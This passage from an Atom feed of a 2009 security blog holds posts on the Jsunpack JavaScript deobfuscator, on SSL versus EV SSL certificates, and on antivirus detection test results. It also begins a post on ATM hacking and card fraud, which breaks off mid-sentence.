devil)'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_WWO0NoYEIHQ/SdQXSqQkahI/AAAAAAAAAFU/bFFFOaoPzW8/s72-c/April-1-09-pic1.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-3684499732976082296</id><published>2009-03-29T22:28:00.004-04:30</published><updated>2009-03-29T22:36:57.261-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='http botnets'/><category scheme='http://www.blogger.com/atom/ns#' term='activex decoder'/><category scheme='http://www.blogger.com/atom/ns#' term='hooking techniques'/><category scheme='http://www.blogger.com/atom/ns#' term='idefense jsunpack'/><category scheme='http://www.blogger.com/atom/ns#' term='pdf exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='flash exploit'/><category scheme='http://www.blogger.com/atom/ns#' term='javascript unpacker'/><category scheme='http://www.blogger.com/atom/ns#' term='DIY toolkits'/><category scheme='http://www.blogger.com/atom/ns#' term='javascript decoder'/><title type='text'>Jsunpack: Automated JS Unpacker (or Deobfuscator)</title><content type='html'>&lt;div style="text-align: justify;"&gt;As we have seen the recent growth of HTTP Botnets and DIY toolkits used to drive more sophisticated and targeted attacks to deny, deceive and destroy various network infrastructures and services. There is a famous saying in Chinese as:&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt; "&lt;span style="font-style: italic;"&gt;Deceive the sky to cross the ocean&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;Today's rapidly growing embedded javascript attacks (e.g. iframe tags) has raised a red flag at the client's browser landing space. Increase in number of encoding and encrypted exploits based on JS include common functions, such as, eval(), document.writeln(), createElement(), setTimeout(), appendChild(), etc. Assuming the IDS/IPS basic functionality with an advanced set of rules and dynamic plug-ins but still today these attacks bypass and evade the network defenses because they require manual inspection of code. Since, doing manual decoding could take an effective time and resources.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_WWO0NoYEIHQ/SdA235ae7UI/AAAAAAAAAFE/tMPTykDZmlo/s1600-h/March-6-09-pic1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 259px; height: 279px;" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/SdA235ae7UI/AAAAAAAAAFE/tMPTykDZmlo/s320/March-6-09-pic1.JPG" alt="" id="BLOGGER_PHOTO_ID_5318811493857160514" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;This process could involve the use of some debuggers like MS-debugger or Firefox debugger plug-in. On contrast, there could be a malicious adversary who managed to apply advanced techniques to defeat manual decoding such as escape sequences, envrionment variables, timing and black listing.&lt;br /&gt;&lt;br /&gt;An example of simple javascript hooking is given below:&lt;br /&gt;----&lt;br /&gt;function func0() {&lt;br /&gt;   var abc = new Array;&lt;br /&gt;   eval('print (abc);');&lt;br /&gt;}&lt;br /&gt;func0();&lt;br /&gt;----&lt;br /&gt;&lt;br /&gt;Prior to Jsunpack, other javascript decoding solutions were:&lt;br /&gt;-jsDecode&lt;br /&gt;-SpiderMonkey&lt;br /&gt;-The Ultimate Deobfuscator&lt;br /&gt;-Malzilla&lt;br /&gt;&lt;br /&gt;The main features of Jsunpack are:&lt;br /&gt;-Safe Browser simulation&lt;br /&gt;-Process ActiveX, PDF and Flash contents&lt;br /&gt;-Advanced hooking techniques and evaluate multiple paths&lt;br /&gt;-Can be integrated with IDS/Crawler&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-3684499732976082296?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/3684499732976082296'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/3684499732976082296'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/03/jsunpack-automated-js-unpacker-or.html' title='Jsunpack: Automated JS Unpacker (or Deobfuscator)'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_WWO0NoYEIHQ/SdA235ae7UI/AAAAAAAAAFE/tMPTykDZmlo/s72-c/March-6-09-pic1.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-4852679022283869106</id><published>2009-03-27T23:46:00.006-04:30</published><updated>2009-03-27T23:54:22.482-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='secure https'/><category scheme='http://www.blogger.com/atom/ns#' term='Anti-phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='SSL vs EV SSL'/><category scheme='http://www.blogger.com/atom/ns#' term='consumer security'/><category scheme='http://www.blogger.com/atom/ns#' term='ssl attack'/><category scheme='http://www.blogger.com/atom/ns#' term='e-commerce website'/><category scheme='http://www.blogger.com/atom/ns#' term='verisign evssl'/><category scheme='http://www.blogger.com/atom/ns#' term='EV SSL'/><category scheme='http://www.blogger.com/atom/ns#' term='blackhat mitm ssl'/><title type='text'>SSL vs EVSSL - What's new inside or just a cryptography myth?</title><content type='html'>&lt;div style="text-align: justify;"&gt;Till the date many online websites (commercial or non-commercial) worked under normal SSL (secure socket layer) certificates. However, as a part of placing secure transactions over the internet these certificates play an important role to any organization's creditibility. Sniffing and decoding against SSL based traffic has got enough disputes that the online merchant services like 'VeriSign' started putting efforts to find stable solution for data encryption and the reliability for highest level of identity and fraud protection from an SSL Certificates. Prior SSL-encryption mechanism worked with RC2,RC4 or IDEA encryption with key sizes ranging from 40 to 128 bits. Is that hard to decrypt? Absolutely not (but also depends on the encryption type).&lt;br /&gt;&lt;br /&gt;The main purpose behind introducing the Extended Validation SSL Certificates was to give a new level of trust to the web visitors by providing some sort of proof at user end. Applying EVSSL, give advantage for user to verify the website's identity as the browser address bar will turn green by confirming the site identity and verified it with Certification Authority (CA). On the other side, CA not only validates domain registry but it also checks operational, legal and the company/website's physical existence. As the recent growth of Fast Flux network attack proved that SSL encryption and its validation is crackable which pose a serious loss in faith and confidence for end-users.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_WWO0NoYEIHQ/Sc2lJZij3II/AAAAAAAAAE8/ImTTgoph_pM/s1600-h/March-5-09-pic1.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 385px; height: 62px;" src="http://4.bp.blogspot.com/_WWO0NoYEIHQ/Sc2lJZij3II/AAAAAAAAAE8/ImTTgoph_pM/s320/March-5-09-pic1.jpg" alt="" id="BLOGGER_PHOTO_ID_5318088315887672450" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;According to Anti-Phishing Working Group (APWG), 90% of phishing attacks carried out in December 2006 were perpetrated against financial services companies. The esitmated loss reported was USD$1-billion per year. Handling EVSSL based transactions ensure better protection. The organization deploying EVSSL certificates have to find their suitable CA from CA/Browser Forum (www.cabforum.org). According to Tec Ed report (2007) in which various responses were gathered to show the usage and attitudes toward e-commerce and EVSSL, the results were outstanding. Overall, EVSSL is the best way to ensure that phishers do not wreck a merchant's reputation, and that an end user/consumer doesn't get their sensitive data stolen from them. VeriSign has recently highlighted the views on the best practices of EVSSL just after last month's MiTM attack simulation at BlackHat D.C. The attack was just a twist of existing MiTM attack which fools the users to visit false website. What makes it different from previous MITM attack is the way fraudlent site attempts to leverage falst visual appearance. It simply replaces the site's favicon with the padlock. Although, the method is capable of reproducing the padlock but unable to create a legitimate HTTPS indicator or even the green address bar. Thus, that is where EVSSL got success.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-4852679022283869106?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/4852679022283869106'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/4852679022283869106'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/03/ssl-vs-evssl-whats-new-inside-or-just.html' title='SSL vs EVSSL - What&apos;s new inside or just a cryptography myth?'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_WWO0NoYEIHQ/Sc2lJZij3II/AAAAAAAAAE8/ImTTgoph_pM/s72-c/March-5-09-pic1.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-8909395715439523193</id><published>2009-03-23T21:15:00.006-04:30</published><updated>2009-03-23T21:23:58.466-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='packers'/><category scheme='http://www.blogger.com/atom/ns#' term='false alarm'/><category scheme='http://www.blogger.com/atom/ns#' term='cryptors'/><category scheme='http://www.blogger.com/atom/ns#' term='protectors'/><category scheme='http://www.blogger.com/atom/ns#' term='best anti-virus solution'/><category scheme='http://www.blogger.com/atom/ns#' term='AV comparison'/><category scheme='http://www.blogger.com/atom/ns#' term='anti-malware threats'/><category scheme='http://www.blogger.com/atom/ns#' term='AV dead'/><category scheme='http://www.blogger.com/atom/ns#' term='Anti-virus tests'/><category scheme='http://www.blogger.com/atom/ns#' term='AV detection rate'/><title type='text'>Anti-Virus Solutions: Are they still 'Anti'? or AV is dead?</title><content type='html'>&lt;div style="text-align: justify;"&gt;As we have seen from the past year when it came out to the public, that all AV solutions are dead. It was a real public fear rather than just a marketing trend. Examining the available market solutions on the basis of practical testing reports given out by AV-Comparitives.org, give us a clear picture of what is still alive or dead in the area of statistical viruses. These tests are conducted on the ground of following areas:&lt;br /&gt;&lt;br /&gt;1.Performance Tests&lt;br /&gt;2.Dynamic Tests (proactive/normal conditions analysis)&lt;br /&gt;3.Cleaning Tests (detective solution under infected machines to measure the cleaning capabilities)&lt;br /&gt;&lt;br /&gt;However to remind that these tests are not limited and are extended with other considerable factors such as, retrospective detection rate (heuristics and signature based) and statistical analysis without user interaction. Looking into the latest February-2009 Report, following products were tested for speed and false alarm rates.&lt;br /&gt;&lt;br /&gt;----&lt;br /&gt;avast! Professional Edition 4.8.135&lt;br /&gt;AVG Anti-Virus 8.0.234&lt;br /&gt;AVIRA AntiVir Premium 8.2.0.374&lt;br /&gt;BitDefender Antivirus 12.0.11.4&lt;br /&gt;Command Anti-Malware 5.0.8&lt;br /&gt;eScan Anti-Virus 10.0.946&lt;br /&gt;ESET NOD32 Anti-Virus 3.0&lt;br /&gt;F-Secure Anti-Virus 9.00.149&lt;br /&gt;G DATA AntiVirus 19.1.0.0&lt;br /&gt;Kaspersky Anti-Virus 8.0.0.506a&lt;br /&gt;Kingsoft Antivirus 2008.11.6.63&lt;br /&gt;McAfee VirusScan Plus 13.3.117&lt;br /&gt;Microsoft Live OneCare 2.5.2900&lt;br /&gt;Norman Antivirus &amp;amp; Anti-Spyware 7.10.02&lt;br /&gt;Sophos Anti-Virus 7.6.4&lt;br /&gt;Symantec Norton Anti-Virus 16.2.0.7&lt;br /&gt;TrustPort Antivirus 2.8.0.3011&lt;br /&gt;----&lt;br /&gt;&lt;br /&gt;In the overall test evaluation provided in the report at:&lt;br /&gt;http://www.av-comparatives.org/images/stories/test/ondret/avc_report21.pdf&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_WWO0NoYEIHQ/Scg7iLaGSFI/AAAAAAAAAEk/8i_iJ4xaqCY/s1600-h/March-4-09-pic1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 217px;" src="http://1.bp.blogspot.com/_WWO0NoYEIHQ/Scg7iLaGSFI/AAAAAAAAAEk/8i_iJ4xaqCY/s320/March-4-09-pic1.JPG" alt="" id="BLOGGER_PHOTO_ID_5316564818474715218" border="0" /&gt;&lt;/a&gt;The test-bench given above is contructed and evaluated on the basis of two sets of tests described in the report itself. However, the most interesting factor to notice is "how many malware samples have been tested"? to detect the static (and partially dynamic) behavior of the next-generation badwares.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/Scg7ywRoJlI/AAAAAAAAAEs/a4h9KNFq5WQ/s1600-h/March-4-09-pic2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 303px; height: 320px;" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/Scg7ywRoJlI/AAAAAAAAAEs/a4h9KNFq5WQ/s320/March-4-09-pic2.JPG" alt="" id="BLOGGER_PHOTO_ID_5316565103249204818" border="0" /&gt;&lt;/a&gt;Today's highly motivated attackers are more diverted into changing the detectable signature to undetectable and transparent malwares. This can easily be accomplished by applying latest cryptors, protectors and/or packing techniques. Thus, it is still viable to consider these set of AV solutions for static virus detections rather than complex and polymorphic malwares.&lt;br /&gt;&lt;br /&gt;Comparing the false alarm rate with the set of malware composition from Test-Bench "A"(April 2006-2008) and Test-Bench "B"(May 2008 - Feb 2009), following outcome has been highlighted:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_WWO0NoYEIHQ/Scg8MHG4VEI/AAAAAAAAAE0/qC0twUNG2NU/s1600-h/March-4-09-pic3.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 248px;" src="http://3.bp.blogspot.com/_WWO0NoYEIHQ/Scg8MHG4VEI/AAAAAAAAAE0/qC0twUNG2NU/s320/March-4-09-pic3.JPG" alt="" id="BLOGGER_PHOTO_ID_5316565538874872898" border="0" /&gt;&lt;/a&gt;As we can see, Microsoft won this round, but what could be the reason behind it. On further determination, it can be justifiable that Microsoft has a good stand of Win32 machine learning capabilities in-depth at user/kernel layer. On the other side, no matter whichever AV vendor is trying to protect "at best" their customers from rising malware threats, they have to eat the bits&lt;br /&gt;and pieces under the table before coming into the market.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4484015730406869163-8909395715439523193?l=ethicalhackernet.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/8909395715439523193'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4484015730406869163/posts/default/8909395715439523193'/><link rel='alternate' type='text/html' href='http://ethicalhackernet.blogspot.com/2009/03/anti-virus-solutions-are-they-still.html' title='Anti-Virus Solutions: Are they still &apos;Anti&apos;? or AV is dead?'/><author><name>Shakeel Ali</name><uri>http://www.blogger.com/profile/06975783640708751065</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_WWO0NoYEIHQ/ShaiZ-7NocI/AAAAAAAAAGw/MPmihdvbSCI/S220/Shak+19a.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_WWO0NoYEIHQ/Scg7iLaGSFI/AAAAAAAAAEk/8i_iJ4xaqCY/s72-c/March-4-09-pic1.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-4484015730406869163.post-1694414252153363411</id><published>2009-03-20T08:27:00.004-04:30</published><updated>2009-03-20T09:54:57.631-04:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Wal-mart hack'/><category scheme='http://www.blogger.com/atom/ns#' term='atm hack'/><category scheme='http://www.blogger.com/atom/ns#' term='Asda hack'/><category scheme='http://www.blogger.com/atom/ns#' term='electronic disobedience'/><category scheme='http://www.blogger.com/atom/ns#' term='Diebold ATM compromise'/><category scheme='http://www.blogger.com/atom/ns#' term='information stealing malware'/><category scheme='http://www.blogger.com/atom/ns#' term='card fraud'/><category scheme='http://www.blogger.com/atom/ns#' term='cyber criminals'/><category scheme='http://www.blogger.com/atom/ns#' term='data theft'/><title type='text'>Hackers inside the ATMs: A red alert to world's major financial institutions</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_WWO0NoYEIHQ/ScOmggCiXbI/AAAAAAAAAEc/d0flFydWUfU/s1600-h/March-3-09-pic1.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 80px; height: 78px;" src="http://2.bp.blogspot.com/_WWO0NoYEIHQ/ScOmggCiXbI/AAAAAAAAAEc/d0flFydWUfU/s320/March-3-09-pic1.jpg" alt="" id="BLOGGER_PHOTO_ID_5315275062513917362" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;When talking about electronic disobedience, many different aspects come forward to point the criminal activities launched using electronic media (computers and internet). Apart from those of money laundering and vandalism issues one is considered to be the most intenseful fraud, "credit card fraud" or "e-fraud". As from the years of data breaches and theft reports, such as:&lt;br /&gt;&lt;br /&gt;"11 Mar 2009 - Computerweekly.com:  Data theft Trojans fastest growing cyber threat"&lt;br /&gt;http://www.computerweekly.com/Articles/2009/03/11/235229/data-theft-trojans-fastest-growing-cyber-threat-says.htm&lt;br /&gt;&lt;br /&gt;"The ITC 2008 Reports: Data Theft/Data Breaches - by industry/cause"&lt;br /&gt;http://idtheftmostwanted.org/ITRC Breach Report 2008.pdf&lt;br /&gt;&lt;br /&gt;It has been proved that the underground criminal market is growing fast and find new ways to remain undetectable in almost every first attempts. These changes of development can be noticeable from 2002-2009, an enormous increase in data theft pushed at various firms in the world. Cracking the ATMs is not new, but quite far changing the shape of existing attack in new ways.&lt;br /&gt;&lt;br /&gt;Recently there was a news published at DarkReading.com, in which it has been stated clearly about how cyber criminals are moving
